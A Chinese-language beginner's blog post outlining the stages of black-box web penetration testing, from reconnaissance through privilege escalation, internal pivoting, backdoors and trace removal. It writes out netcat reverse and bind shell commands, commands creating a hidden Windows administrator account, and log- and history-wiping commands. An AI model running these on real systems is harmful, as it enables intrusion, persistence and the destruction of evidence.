Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计 。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透 。
Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹 。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹 。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚 。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高 。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(MySQL/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞 。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp 4444
在内网主机上执行:
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p 4444 -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip4444
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
【Web渗透测试】对于网站上传一句话木马,留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力 。
痕迹清理
日志清理:在win环境下的话用msf清理,命令如下:
runclearlogs
clearev
如果在Liunx环境下:
rm-f -r /var/log删除/var/log下的文件
exportHISTSIZE=0export HISTSIZE=0删除bashshell保存的最后500条命令
3389远程登陆记录清除:
@echooff
@regdelete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal
ServerClientDefault" /va /f
@del"%USERPROFILE%My DocumentsDefault.rdp" /a
@exit
另外在渗透时尽量用代理以免轻易的暴露自己ip 。
本人呢,也是个刚入安全圈的菜鸡,以上是在学习中对渗透过程的一点总结,大牛勿喷,希望可以帮到那些刚刚入门的信息安全爱好者 。
相关练习
渗透综合场景演练:利用自己学习到的知识对目标进行渗透测试,获取目标系统的权限,从而获取敏感信息,那么恭喜你,你已经完成了从安全小白到渗透测试工程师的蜕变 。
推荐阅读
- APP安全检测 渗透测试APP服务介绍与过程
- 什么是网站系统安全渗透检测?
- 总结16种网站渗透技巧经验
- 网站渗透测试原理及详细过程
- 做网站渗透测试,可以从哪方面入手?
- 网站安全渗透 之squid代理漏洞挖掘与修复
- 你适合戴手表还是戴手镯?4个动作来测试,别傻傻戴错了
- Node.js主流Web框架对比
- 浅谈Web应用的内存优化
- CentOS 7上使用Webmin进行Linux的远程管理